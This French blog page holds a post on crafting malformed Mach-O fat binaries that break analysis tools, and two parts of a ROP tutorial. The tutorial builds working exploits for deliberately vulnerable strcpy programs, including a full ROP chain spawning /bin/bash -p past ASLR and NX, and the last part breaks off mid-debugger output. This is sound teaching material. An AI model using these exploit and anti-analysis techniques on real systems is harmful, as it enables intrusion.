Fat Binaries Mac OSX

Salut à tous ! Après quelques mois sans rien poster sur ce blog, je vais parler un petit peu des fichiers FAT (Mach-O Universal Binary) utilisés sous Mac OSX.

Format de fichier et manipulations

Si vous voulez une description détaillé de ce qu’est un fichier FAT, je ne peux que vous conseiller de lire l’article de wikipedia : https://en.wikipedia.org/wiki/Universal_binary. En résumé, c’est un fichier exécutable qui contient plusieurs fichier Mach-O pour différentes architectures (un fichier Mach-O est l’équivalent d’un ELF sur Linux ou un PE sur Windows).

[tlk:~]$ file /bin/ls
/bin/ls: Mach-O universal binary with 2 architectures
/bin/ls (for architecture x86_64):	Mach-O 64-bit executable x86_64
/bin/ls (for architecture i386):	Mach-O executable i386

Ici, notre exécutable ‘ls’ contient deux versions : une version 64 bits et une version 32 bits. Il est possible de choisir laquelle de ces deux versions exécuter à l’aide de la commande arch

[tlk:~]$ arch -32 /bin/ls -lsa .gdbinit
184 -rw-r--r--  1 tlk  staff  93882  5 aoû 21:29 .gdbinit
[tlk:~]$ arch -64 /bin/ls -lsa .gdbinit
184 -rw-r--r--  1 tlk  staff  93882  5 aoû 21:29 .gdbinit

L’utilitaire lipo permet de manipuler les fichiers FAT. Par exemple, il est possible d’extraire des fichiers Mach-O et de créer un nouveau fichier FAT.

[tlk:~]$ lipo /bin/ls -extract i386 -output /tmp/ls-i386 && file /tmp/ls-i386      
/tmp/ls-i386: Mach-O universal binary with 1 architecture
/tmp/ls-i386 (for architecture i386):	Mach-O executable i386
[tlk:~]$ lipo /bin/ls -extract x86_64 -output /tmp/ls-x86_64 && file /tmp/ls-x86_64
/tmp/ls-x86_64: Mach-O universal binary with 1 architecture
/tmp/ls-x86_64 (for architecture x86_64):	Mach-O 64-bit executable x86_64
[tlk:~]$ lipo /tmp/ls-x86_64 /tmp/ls-i386 -create -output /tmp/ls && file /tmp/ls 
/tmp/ls: Mach-O universal binary with 2 architectures
/tmp/ls (for architecture x86_64):	Mach-O 64-bit executable x86_64
/tmp/ls (for architecture i386):	Mach-O executable i386
[tlk:~]$ md5 /tmp/ls /bin/ls       
MD5 (/tmp/ls) = 7b39f02450f7054ed2868350a6f76fd2
MD5 (/bin/ls) = 7b39f02450f7054ed2868350a6f76fd2

L’utilitaire lipo est très pratique pour manipuler les fichiers FAT, et comme vous pouvez le voir le fichier créé est exactement le même que le fichier d’origine !

Concernant le format du fichier en lui-même il est très simple : un magic number, le nombre d’architecture, puis les informations concernant les fichiers Mach-O.

/*
 * Copyright (c) 1999 Apple Computer, Inc. All rights reserved.
 *
 * @APPLE_LICENSE_HEADER_START@
 * 
 * This file contains Original Code and/or Modifications of Original Code
 * as defined in and that are subject to the Apple Public Source License
 * Version 2.0 (the 'License'). You may not use this file except in
 * compliance with the License. Please obtain a copy of the License at
 * http://www.opensource.apple.com/apsl/ and read it before using this
 * file.
 * 
 * The Original Code and all software distributed under the License are
 * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
 * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
 * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
 * Please see the License for the specific language governing rights and
 * limitations under the License.
 * 
 * @APPLE_LICENSE_HEADER_END@
 */
#ifndef _MACH_O_FAT_H_
#define _MACH_O_FAT_H_
/*
 * This header file describes the structures of the file format for "fat"
 * architecture specific file (wrapper design).  At the begining of the file
 * there is one fat_header structure followed by a number of fat_arch
 * structures.  For each architecture in the file, specified by a pair of
 * cputype and cpusubtype, the fat_header describes the file offset, file
 * size and alignment in the file of the architecture specific member.
 * The padded bytes in the file to place each member on it's specific alignment
 * are defined to be read as zeros and can be left as "holes" if the file system
 * can support them as long as they read as zeros.
 *
 * All structures defined here are always written and read to/from disk
 * in big-endian order.
 */

/*
 * <mach/machine.h> is needed here for the cpu_type_t and cpu_subtype_t types
 * and contains the constants for the possible values of these types.
 */
#include <stdint.h>
#include <mach/machine.h>
#include <architecture/byte_order.h>

#define FAT_MAGIC	0xcafebabe
#define FAT_CIGAM	0xbebafeca	/* NXSwapLong(FAT_MAGIC) */

struct fat_header {
	uint32_t	magic;		/* FAT_MAGIC */
	uint32_t	nfat_arch;	/* number of structs that follow */
};

struct fat_arch {
	cpu_type_t	cputype;	/* cpu specifier (int) */
	cpu_subtype_t	cpusubtype;	/* machine specifier (int) */
	uint32_t	offset;		/* file offset to this object file */
	uint32_t	size;		/* size of this object file */
	uint32_t	align;		/* alignment as a power of 2 */
};

#endif /* _MACH_O_FAT_H_ */

[tlk:~]$ lipo -detailed_info /bin/ls                                             
Fat header in: /bin/ls
fat_magic 0xcafebabe
nfat_arch 2
architecture x86_64
    cputype CPU_TYPE_X86_64
    cpusubtype CPU_SUBTYPE_X86_64_ALL
    offset 4096
    size 39584
    align 2^12 (4096)
architecture i386
    cputype CPU_TYPE_I386
    cpusubtype CPU_SUBTYPE_I386_ALL
    offset 45056
    size 35696
    align 2^12 (4096)

FUNZ

Bon lipo c’est bien beau, mais ça permet pas de faire des fichiers qui ne respectent pas les spécifications … Donc on va sortir python et coder un petit script pour créer des fichiers FAT un peu spéciaux.
Le script suivant créé un fichier FAT contenant deux Mach-O (un 32 et un 64 bits), à cela il ajoute un nombre aléatoire d’architectures non valides.

#!/usr/bin/env python
# encoding: utf-8

from struct import pack, unpack
import random

with open('./fatfucked', 'wb') as fat_file:
    fat_file.write(pack('>I', 0xcafebabe))
    narchs = random.randrange(20, 0xcc)
    fat_file.write(pack('>I', narchs))
    
    fat_file.write(pack('>IIIII', unpack('>I', " #fa")[0], unpack('>I', "psec")[0], 0, random.randrange(0xffffffff), random.randrange(0xffffffff)))

    headers_to_write = []
    for i in range(narchs-3):
        headers_to_write.append((random.randrange(0xffffffff), random.randrange(0xffffffff), random.randrange(0xffffffff), random.randrange(0xffffffff), random.randrange(0xffffffff)))

    offset = random.randrange(0, 0xff000)
    offset += 0x1000 - offset % 0x1000
    to_write = []
    with open('hello32', 'rb') as macho_file:
        data = macho_file.read()
        size = len(data)
        macho_file.seek(0)
        magic, cputype, cpusubtype = unpack("<III", macho_file.read(4*3))
        to_write.append((offset, data))
        headers_to_write.append((cputype, cpusubtype, offset, size, 0))
        offset += size
        offset = offset + (0x1000 - offset % 0x1000)
    
    with open('hello64', 'rb') as macho_file:
        data = macho_file.read()
        size = len(data)
        macho_file.seek(0)
        magic, cputype, cpusubtype = unpack("<III", macho_file.read(4*3))
        to_write.append((offset, data))
        headers_to_write.append((cputype, cpusubtype, offset, size, 0))
        offset += size
        offset = offset + (0x1000 - offset % 0x1000)

    random.shuffle(headers_to_write)
    for cputype, cpusubtype, offset, size, align in headers_to_write:
        fat_file.write(pack('>IIIII', cputype, cpusubtype, offset, size, align))
    
    for offset, data in to_write:
        fat_file.seek(offset)
        fat_file.write(data)
[tlk:~]$ file fatfucked 
fatfucked: compiled Java class data, version 72.0
[tlk:~]$ lipo -detailed_info fatfucked 
lipo: truncated or malformed fat file (offset plus size of cputype (539190881) cpusubtype (7562595) extends past the end of the file) fatfucked
[tlk:~]$ xxd fatfucked | head
0000000: cafe babe 0000 0048 2023 6661 7073 6563  .......H #fapsec
0000010: 0000 0000 cdbe fc42 cba7 dfd9 dd00 433d  .......B......C=
0000020: ab4d 9af5 e2c4 3a7f 4b9f 094e 1cd4 a514  .M....:.K..N....
0000030: b9ba 1483 843a d360 b894 5a2c 1fb1 8755  .....:.`..Z,...U
0000040: 1040 0982 627c 2696 2039 bbcf 73e0 a478  .@..b|&. 9..s..x
0000050: 8304 9c9a 4df2 6eb3 43d6 9376 ce15 30dc  ....M.n.C..v..0.
0000060: d261 c493 f41f c7da 0c7b cb39 443c dbd7  .a.......{.9D<..
0000070: 8958 6af4 a42e 08dc 36c9 9e04 e1d7 cf44  .Xj.....6......D
0000080: a8c4 2663 9f44 d6df 7a6c 0692 ceb0 46ac  ..&c.D..zl....F.
0000090: ac60 c708 e0c8 5287 264c 2fd2 b565 49f0  .`....R.&L/..eI.
[tlk:~]$ arch -32 ./fatfucked 
Hello from 32bits
[tlk:~]$ arch -64 ./fatfucked
Hello from 64bits

gdb crashera lamentablement … Je vous laisse tester sur IDA ou Hopper 😉

Bonus

J’ai remarqué que si l’offset du fichier Mach-O n’était pas un multiple de 4096 le programme plante à l’entry point (défini par la load command LC_UNIXTHREAD, LC_THREAD ou LC_MAIN)

#!/usr/bin/env python
# encoding: utf-8

from struct import pack, unpack

with open('./fatsegfault', 'wb') as fat_file:
    fat_file.write(pack('>I', 0xcafebabe))
    narchs = 0x1
    fat_file.write(pack('>I', narchs))
    
    offset = 0x4242
    to_write = []
    with open('hello32', 'rb') as macho_file:
        data = macho_file.read()
        size = len(data)
        macho_file.seek(0)
        magic, cputype, cpusubtype = unpack("<III", macho_file.read(4*3))
        to_write.append((offset, data))
        fat_file.write(pack('>IIIII', cputype, cpusubtype, offset, size, 0))
    
    for offset, data in to_write:
        fat_file.seek(offset)
        fat_file.write(data)
[tlk:~]$ ./FatSegfault.py                 
[tlk:~]$ otool -lv ./fatsegfault
...
Load command 10
        cmd LC_UNIXTHREAD
    cmdsize 80
     flavor i386_THREAD_STATE
      count i386_THREAD_STATE_COUNT
	    eax 0x00000000 ebx    0x00000000 ecx 0x00000000 edx 0x00000000
	    edi 0x00000000 esi    0x00000000 ebp 0x00000000 esp 0x00000000
	    ss  0x00000000 eflags 0x00000000 eip 0x00001ef0 cs  0x00000000
	    ds  0x00000000 es     0x00000000 fs  0x00000000 gs  0x00000000
...
[tlk:~]$ ./fatsegfault          
[1]    39933 segmentation fault (core dumped)  ./fatsegfault
[tlk:~]$ gdb -q -c /cores/core.39933
gdb$ bt
#0  0x00001ef0 in ?? ()
gdb$ x/i 0x00001ef0
0x1ef0:	Cannot access memory at address 0x1ef0

Si vous avez le courrage de chercher la raison et que vous trouvez, ça m’intéresserais pas mal de savoir ce qui se passe 🙂

Introduction au ROP – #3

Suite et fin de l’introduction au ROP. Maintenant que je pense que vous avez bien saisi le concept d’enchainement des instructions à l’aide du ret, nous allons pouvoir enfin contourner complètement l’ASLR ainsi que le bit NX (stack et heap non exécutable). Pour cette partie, nous allons prendre le même binaire que précédemment mais compilé en statique, ce qui va nous offrir un (très!) large choix de gadgets.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void hello(char * src)
{
        char buffer[128];

        strcpy(buffer,src);
	printf("Hello %s !\n",buffer);
}

int main(int argc,char * argv[])
{
        if(argc<2)
        {
                printf("Usage: %s \n",argv[0]);
                exit(1);
        }

        hello(argv[1]);

        return 0;
}
$ gcc vuln.c -o vuln -fno-stack-protector -static -m32
$ file vuln
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=0xb676d4d6d10f58d560f2f5a1d1d00a70a17c2e8d, not stripped

Le principe du ROP est simple : enchainer des morceaux d’asm se terminant par un ret et ayant une adresse statique pour au final exécuter une commande. Nous allons exécuter ceci: sys_execve(« /bin/bash », [« /bin/bash », « -p »], NULL). Pour cela, nos registres devront être comme tel au moment de interruption 0x80 :

  • eax = 0xb (sys_execve)
  • ebx = adresse de « /bin/bash »
  • ecx = adresse d’un tableau d’adresse vers « /bin/bash » et « -p »

La première chose à faire est d’écrire nos chaines de caractères dans un endroit inscriptible. Par exemple, essayons d’écrire « /bin » à l’adresse 0x80ec0b0. Nous devons commencer par trouver nos gadgets, l’outil rp est là pour ça 🙂

$ ./rp-osx-x64 --file=./vuln --unique -r 3
Trying to open './vuln'..
Loading ELF information..
FileFormat: Elf, Arch: Ia32
Using the Nasm syntax..

Wait a few seconds, rp++ is looking for gadgets..
in LOAD
27731 found.

A total of 27731 gadgets found.
You decided to keep only the unique ones, 11996 unique gadgets found.
...
0x0806f3ba: mov dword [ecx], eax ; ret  ;  (1 found)
...
0x0806a233: pop ecx ; ret  ;  (2 found)
...
0x080c6724: pop eax ; ret  ;  (4 found)

Nous allons donc commencer par mettre « /bin » dans eax (pop eax; ret), puis mettre 0x80ec0b0 dans ecx (pop ecx; ret) et enfin écrire eax à l’adresse pointé par ecx. Essayons.

#!/usr/bin/env python
# encoding: utf-8

from struct import pack as p

payload = "A"*140

# gadgets
POPEAX = p('<i', 0x080c6724) # pop eax ; ret
POPECX = p('<i', 0x0806a233) # pop ecx ; ret
WRITEEAX = p('<i', 0x0806f3ba) # mov dword [ecx], eax ; ret

# addrs
ARGS = 0x80ec0b0
ECXPTR = 0x80ec0c0

# write /bin into eax
payload     +=      POPEAX
payload     +=      "/bin"
# write ARGS into ecx
payload     +=      POPECX
payload     +=      p('<i', ARGS)
# write eax @ARGS
payload     +=      WRITEEAX

print payload
gdb$ r $(python a.py)
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$g
                    /bin3?? !

Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
  EAX: 6E69622F  EBX: 00000000  ECX: 080EC0B0  EDX: 00000000  o d I t S z a P c 
  ESI: 00000000  EDI: 08049660  EBP: 41414141  ESP: BFFFF6B4  EIP: 00000000
  CS: 0023  DS: 002B  ES: 002B  FS: 0000  GS: 0063  SS: 002BError while running hook_stop:
Cannot access memory at address 0x0
0x00000000 in ?? ()
gdb$ x/s 0x80ec0b0
0x80ec0b0:	 "/bin"

Ça marche parfaitement! Maintenant il nous reste à:

  • écrire « /bas » en ARGS+4
  • écrire « h » en ARGS+8
  • écrire « -p » en ARGS+12
  • écrire ARGS en ECXPTR
  • écrire ARGS+12 en ECXPTR+4
  • mettre 0xB dans eax
  • mettre ARGS dans ebx
  • mettre ECXPTR dans ecx
  • int 0x80

Nous allons avoir des soucis au moment d’écrire le « h » par exemple, il nous est interdit d’avoir les bytes « \x00 » et « \x0a » dans notre payload. Pour cela, nous allons en fait écrire « hBBB » puis mettre eax à 0 en utilisant l’instruction xor eax, eax, et enfin écrire eax sur nos « BBB » en trop. De la même façon, pour mettre eax à 0xb, nous ne pourrons pas le faire avec un pop eax. On va donc mettre eax à 0 et sauter sur une instruction qui ajoute 0xB à eax 🙂

Au final, vous devriez vous retrouver avec quelque chose comme ça:

#!/usr/bin/env python
# encoding: utf-8

from struct import pack as p

payload = "A"*140

# gadgets
INT0x80 = p('<i', 0x080493e9) # int 0x80
POPEBX = p('<i',0x080481ec) # pop ebx ; ret
POPECX = p('<i', 0x0806a233) # pop ecx ; ret
POPEAX = p('<i', 0x080c6724) # pop eax ; ret
WRITEEAX = p('<i', 0x0806f3ba) # mov dword [ecx], eax ; ret
XOREAX = p('<i',0x080b8ad6) # xor eax, eax ; ret
ADD0xB = p('<i',0x0807c352) # add eax, 0x0B ; pop edi ; ret

# addrs
ARGS = 0x80ec0b0
ECXPTR = 0x80ec0c0

# write /bin into eax
payload     +=      POPEAX
payload     +=      "/bin"
# write ARGS into ecx
payload     +=      POPECX
payload     +=      p('<i', ARGS)
# write eax @ARGS
payload     +=      WRITEEAX

# write /bas into eax
payload     +=      POPEAX
payload     +=      "/bas"
# write ARGS+4 into ecx
payload     +=      POPECX
payload     +=      p('<i', ARGS+4)
# write eax @ARGS+4
payload     += WRITEEAX

# write h into eax
payload     +=      POPEAX
payload     +=      "hBBB"
# write ARGS+8 into ecx
payload     +=      POPECX
payload     +=      p('<i', ARGS+8)
# write eax @ARGS+8
payload     += WRITEEAX

# set eax to 0x00000000
payload     +=      XOREAX
# write ARGS+9 into ecx
payload     +=      POPECX
payload     +=      p('<i', ARGS+9)
# write eax @ARGS+9
payload     += WRITEEAX

# write -p into eax
payload     +=      POPEAX
payload     +=      "-pBB"
# write ARGS+12 into ecx
payload     +=      POPECX
payload     +=      p('<i', ARGS+12)
# write eax @ARGS+8
payload     += WRITEEAX

# set eax to 0x00000000
payload     +=      XOREAX
# write ARGS+14 into ecx
payload     +=      POPECX
payload     +=      p('<i', ARGS+14)
# write eax @ARGS+9
payload     += WRITEEAX

# write ARGS into eax
payload     +=      POPEAX
payload     +=      p('<i', ARGS)
# write ECXPTR into ecx
payload     +=      POPECX
payload     +=      p('<i', ECXPTR)
# write eax @ECXPTR
payload     += WRITEEAX

# write ARGS+12 into eax
payload     +=      POPEAX
payload     +=      p('<i', ARGS+12)
# write ECXPTR+4 into ecx
payload     +=      POPECX
payload     +=      p('<i', ECXPTR+4)
# write eax @ECXPTR+4
payload     += WRITEEAX

# set eax to 0x00000000
payload     +=      XOREAX
# add 0xB to eax
payload     +=      ADD0xB
payload     +=      "BBBB"

# set ARGS into ebx
payload     +=      POPEBX
payload     +=      p('<i', ARGS)

# set ECXPTR into ecx
payload     +=      POPECX
payload     +=      p('<i', ECXPTR)

# int 0x80
payload     +=      INT0x80

print payload
$ strace ./vuln $(python a.py)                                   
execve("./vuln", ["./vuln", "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...], [/* 6 vars */]) = 0
...
write(1, "Hello AAAAAAAAAAAAAAAAAAAAAAAAAA"..., 333Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA$g
                                                                       /bin3??$g
                                                                               /bas3??$g
                                                                                       hBBB3??֊
                                                                                              3??$g
                                                                                                  -pBB3??֊
                                                                                                         3??$g
                                                                                                             ?3??$g
                                                                                                                  ?3??֊
                                                                                                                      RBBBB?3 !
) = 333
execve("/bin/bash", ["/bin/bash", "-p"], [/* 0 vars */]) = 0

Notre exploit marche parfaitement ! Je tiens quand même à préciser que dans notre cas nous avons le choix concernant les gadgets. Cependant, lorsque le binaire n’est pas compilé en statique, nous avons beaucoup beaucoup moins de choix et souvent notre exploit est bien plus long que ça (et bien plus chiant à écrire) mais le principe reste le même.

À vous maintenant de vous faire les dents sur différents wargame 😉

Introduction au ROP – #2

Pour cette seconde partie d’intro au ROP nous allons prendre un challenge presque similaire au premier. La manière dont nous allons l’exploiter ressemble bien plus à du ROP 😉 L’ASLR est activée, la pile est exécutable.

Voici donc le code source qui va nous occuper:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void hello(char *src)
{
        char buff[128];

        strcpy(buff,src);
	printf("Coucou %s !\n",buff);
}

int main(int argc,char * argv[])
{
        if(argc<2)
        {
                printf("Please: %s <name>\n",argv[0]);
                exit(1);
        }

        hello(argv[1]);

        return 0;
}

Comme dans le premier article, nous avons un buffer stack overflow dans la fonction hello. La différence est que cette fois ci nous n’allons pas pouvoir utiliser le registre eax. En effet, la fonction printf renvois le nombre de caractère qu’elle a affiché, le registre eax ne pointe donc plus vers notre buffer.

Regardons à quoi ressemble la pile au moment du segfault.

gdb$ x/56x $esp
0xbfe329e0:	0xbfe32d00	0xb77a96d0	0x080484ab	0xb778eff4
0xbfe329f0:	0x080484a0	0x00000000	0xbfe32a78	0xb7662b86
0xbfe32a00:	0x00000002	0xbfe32aa4	0xbfe32ab0	0xb77993d0
0xbfe32a10:	0xbfe32a40	0xffffffff	0xb77b7fc4	0x08048244
0xbfe32a20:	0x00000001	0xbfe32a60	0xb77a8cb6	0xb77b8a98
0xbfe32a30:	0xb77996b0	0xb778eff4	0x00000000	0x00000000
0xbfe32a40:	0xbfe32a78	0x30ba5132	0x3ab8c723	0x00000000
0xbfe32a50:	0x00000000	0x00000000	0x00000002	0x08048350
0xbfe32a60:	0x00000000	0xb77aea00	0xb7662aab	0xb77b7fc4
0xbfe32a70:	0x00000002	0x08048350	0x00000000	0x08048371
0xbfe32a80:	0x0804843b	0x00000002	0xbfe32aa4	0x080484a0
0xbfe32a90:	0x08048490	0xb77a96d0	0xbfe32a9c	0xb77b88e0
0xbfe32aa0:	0x00000002	0xbfe32d00	0xbfe32d0e	0x00000000
0xbfe32ab0:	0xbfe32d9f	0xbfe32daf	0xbfe32dc3	0xbfe32dd1
gdb$ x/s 0xbfe32d0e
0xbfe32d0e:	 'A' <repeats 140 times>, "BBBB"

Nous avons donc un pointeur vers argv[1] plus bas dans notre stack. Le principe est simple : nous allons sauter sur une instruction ret, qui elle même va sauter sur une instruction ret! Et ainsi de suite jusqu’à arriver à notre pointeur sur argv[1]. Nous allons donc avoir besoin de 51 ret à la suite. Essayons.

$ objdump -S ./3 | grep "ret"
 80482ef:	c3                   	ret    
 80483d4:	c3                   	ret    
 8048402:	c3                   	ret    
 804843a:	c3                   	ret    
 8048482:	c3                   	ret    
 8048494:	c3                   	ret    
 80484f9:	c3                   	ret    
 80484fd:	c3                   	ret    
 8048529:	c3                   	ret    
 8048547:	c3                   	ret 

Nous avons le choix concernant l’adresse de notre ret, prenons le premier par exemple.

gdb$ b *hello+54
Breakpoint 1 at 0x804843a
gdb$ r $(python -c 'print "\xcc"*140+"\xef\x82\x04\x08"*51')
Hello ???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? !
--------------------------------------------------------------------------[regs]
  EAX: 00000161  EBX: B7723FF4  ECX: BF8A7CE8  EDX: B7725320  o d I t S z A p c 
  ESI: 00000000  EDI: 00000000  EBP: CCCCCCCC  ESP: BF8A7D9C  EIP: 0804843A
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
[007B:BF8A7D9C]----------------------------------------------------------[stack]
BF8A7DEC : EF 82 04 08  EF 82 04 08 - EF 82 04 08  EF 82 04 08 ................
BF8A7DDC : EF 82 04 08  EF 82 04 08 - EF 82 04 08  EF 82 04 08 ................
BF8A7DCC : EF 82 04 08  EF 82 04 08 - EF 82 04 08  EF 82 04 08 ................
BF8A7DBC : EF 82 04 08  EF 82 04 08 - EF 82 04 08  EF 82 04 08 ................
BF8A7DAC : EF 82 04 08  EF 82 04 08 - EF 82 04 08  EF 82 04 08 ................
BF8A7D9C : EF 82 04 08  EF 82 04 08 - EF 82 04 08  EF 82 04 08 ................
[007B:BF8A7D9C]-----------------------------------------------------------[data]
BF8A7D9C : EF 82 04 08  EF 82 04 08 - EF 82 04 08  EF 82 04 08 ................
BF8A7DAC : EF 82 04 08  EF 82 04 08 - EF 82 04 08  EF 82 04 08 ................
BF8A7DBC : EF 82 04 08  EF 82 04 08 - EF 82 04 08  EF 82 04 08 ................
BF8A7DCC : EF 82 04 08  EF 82 04 08 - EF 82 04 08  EF 82 04 08 ................
BF8A7DDC : EF 82 04 08  EF 82 04 08 - EF 82 04 08  EF 82 04 08 ................
BF8A7DEC : EF 82 04 08  EF 82 04 08 - EF 82 04 08  EF 82 04 08 ................
BF8A7DFC : EF 82 04 08  EF 82 04 08 - EF 82 04 08  EF 82 04 08 ................
BF8A7E0C : EF 82 04 08  EF 82 04 08 - EF 82 04 08  EF 82 04 08 ................
[0073:0804843A]-----------------------------------------------------------
=> 0x804843a :	ret    
   0x804843b :	push   ebp
   0x804843c :	mov    ebp,esp
   0x804843e :	and    esp,0xfffffff0
   0x8048441 :	sub    esp,0x10
   0x8048444 :	cmp    DWORD PTR [ebp+0x8],0x1
   0x8048448 :	jg     0x804846c 
   0x804844a :	mov    eax,DWORD PTR [ebp+0xc]
--------------------------------------------------------------------------------

Breakpoint 1, 0x0804843a in hello ()
gdb$ r x/56x $esp
0xbf8a7d9c:	0x080482ef	0x080482ef	0x080482ef	0x080482ef
0xbf8a7dac:	0x080482ef	0x080482ef	0x080482ef	0x080482ef
0xbf8a7dbc:	0x080482ef	0x080482ef	0x080482ef	0x080482ef
0xbf8a7dcc:	0x080482ef	0x080482ef	0x080482ef	0x080482ef
0xbf8a7ddc:	0x080482ef	0x080482ef	0x080482ef	0x080482ef
0xbf8a7dec:	0x080482ef	0x080482ef	0x080482ef	0x080482ef
0xbf8a7dfc:	0x080482ef	0x080482ef	0x080482ef	0x080482ef
0xbf8a7e0c:	0x080482ef	0x080482ef	0x080482ef	0x080482ef
0xbf8a7e1c:	0x080482ef	0x080482ef	0x080482ef	0x080482ef
0xbf8a7e2c:	0x080482ef	0x080482ef	0x080482ef	0x080482ef
0xbf8a7e3c:	0x080482ef	0x080482ef	0x080482ef	0x080482ef
0xbf8a7e4c:	0x080482ef	0x080482ef	0x080482ef	0x080482ef
0xbf8a7e5c:	0x080482ef	0x080482ef	0x080482ef	0xbf8a8c00
0xbf8a7e6c:	0x00000000	0xbf8a8d9f	0xbf8a8daf	0xbf8a8dc3
gdb$ x/s 0xbf8bbc00
0xbf8bbc00:	 <Address 0xbf8bbc00 out of bounds>

On a donc un soucis, le pointeur ne pointe plus vers notre argument. Ceci est du à la fonction strcpy! Elle ajoute un null byte à la fin de la chaine qu’elle vient de copier. Donc le dernier byte de notre pointeur contient un \x00 qui a été rajouté par la fonction. Pour contourner cela, nous n’allons pas terminer sur un ret classique, mais un pop ret. Le pop ret va commencer par enlever la valeur juste avant notre pointeur de la stack puis ret sur le pointeur.

Pour trouver l’adresse d’un pop ret, nous allons utiliser l’outil d’0vercl0k qui permet de trouver des gadgets utile pour du ROP dans un binaire : rp

$ ./rp-osx-x64 --file="./3" -r 2
Trying to open './3'..
Loading ELF information..
FileFormat: Elf, Arch: Ia32
Using the Nasm syntax..

Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.

in LOAD
83 found.

A total of 83 gadgets found.
0x080483cc: add al, 0x08 ; add dword [ebx+0x5D5B04C4], eax ; ret  ;  (1 found)
0x080483b6: add al, 0x08 ; call dword [0x08049580+eax*4] ;  (1 found)
...
0x080483d3: pop ebp ; ret  ;  (1 found)
0x08048493: pop ebp ; ret  ;  (1 found)
0x080484f8: pop ebp ; ret  ;  (1 found)
0x08048528: pop ebp ; ret  ;  (1 found)
gdb$ r $(python -c 'print "\xcc"*140+"\xef\x82\x04\x08"*49+"\xd3\x83\x04\x08"')
Hello ???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????? !
--------------------------------------------------------------------------[regs]
  EAX: 0000015D  EBX: B778CFF4  ECX: BF93B1B8  EDX: B778E320  o d I t S z A p c 
  ESI: 00000000  EDI: 00000000  EBP: CCCCCCCC  ESP: BF93B26C  EIP: 0804843A
  CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007B
[007B:BF93B26C]----------------------------------------------------------[stack]
BF93B2BC : EF 82 04 08  EF 82 04 08 - EF 82 04 08  EF 82 04 08 ................
BF93B2AC : EF 82 04 08  EF 82 04 08 - EF 82 04 08  EF 82 04 08 ................
BF93B29C : EF 82 04 08  EF 82 04 08 - EF 82 04 08  EF 82 04 08 ................
BF93B28C : EF 82 04 08  EF 82 04 08 - EF 82 04 08  EF 82 04 08 ................
BF93B27C : EF 82 04 08  EF 82 04 08 - EF 82 04 08  EF 82 04 08 ................
BF93B26C : EF 82 04 08  EF 82 04 08 - EF 82 04 08  EF 82 04 08 ................
[007B:BF93B26C]-----------------------------------------------------------[data]
BF93B26C : EF 82 04 08  EF 82 04 08 - EF 82 04 08  EF 82 04 08 ................
BF93B27C : EF 82 04 08  EF 82 04 08 - EF 82 04 08  EF 82 04 08 ................
BF93B28C : EF 82 04 08  EF 82 04 08 - EF 82 04 08  EF 82 04 08 ................
BF93B29C : EF 82 04 08  EF 82 04 08 - EF 82 04 08  EF 82 04 08 ................
BF93B2AC : EF 82 04 08  EF 82 04 08 - EF 82 04 08  EF 82 04 08 ................
BF93B2BC : EF 82 04 08  EF 82 04 08 - EF 82 04 08  EF 82 04 08 ................
BF93B2CC : EF 82 04 08  EF 82 04 08 - EF 82 04 08  EF 82 04 08 ................
BF93B2DC : EF 82 04 08  EF 82 04 08 - EF 82 04 08  EF 82 04 08 ................
[0073:0804843A]-----------------------------------------------------------
=> 0x804843a :	ret    
   0x804843b :	push   ebp
   0x804843c :	mov    ebp,esp
   0x804843e :	and    esp,0xfffffff0
   0x8048441 :	sub    esp,0x10
   0x8048444 :	cmp    DWORD PTR [ebp+0x8],0x1
   0x8048448 :	jg     0x804846c 
   0x804844a :	mov    eax,DWORD PTR [ebp+0xc]
--------------------------------------------------------------------------------

Breakpoint 2, 0x0804843a in hello ()
gdb$ x/56x $esp
0xbf93b26c:	0x080482ef	0x080482ef	0x080482ef	0x080482ef
0xbf93b27c:	0x080482ef	0x080482ef	0x080482ef	0x080482ef
0xbf93b28c:	0x080482ef	0x080482ef	0x080482ef	0x080482ef
0xbf93b29c:	0x080482ef	0x080482ef	0x080482ef	0x080482ef
0xbf93b2ac:	0x080482ef	0x080482ef	0x080482ef	0x080482ef
0xbf93b2bc:	0x080482ef	0x080482ef	0x080482ef	0x080482ef
0xbf93b2cc:	0x080482ef	0x080482ef	0x080482ef	0x080482ef
0xbf93b2dc:	0x080482ef	0x080482ef	0x080482ef	0x080482ef
0xbf93b2ec:	0x080482ef	0x080482ef	0x080482ef	0x080482ef
0xbf93b2fc:	0x080482ef	0x080482ef	0x080482ef	0x080482ef
0xbf93b30c:	0x080482ef	0x080482ef	0x080482ef	0x080482ef
0xbf93b31c:	0x080482ef	0x080482ef	0x080482ef	0x080482ef
0xbf93b32c:	0x080482ef	0x080483d3	0xbf93cc00	0xbf93cc4a
0xbf93b33c:	0x00000000	0xbf93cd9f	0xbf93cdaf	0xbf93cdc3
gdb$ c

Program received signal SIGTRAP, Trace/breakpoint trap.
--------------------------------------------------------------------------[regs]
  EAX: 0000015D  EBX: B778CFF4  ECX: BF93B1B8  EDX: B778E320  o d I t S z A p c 
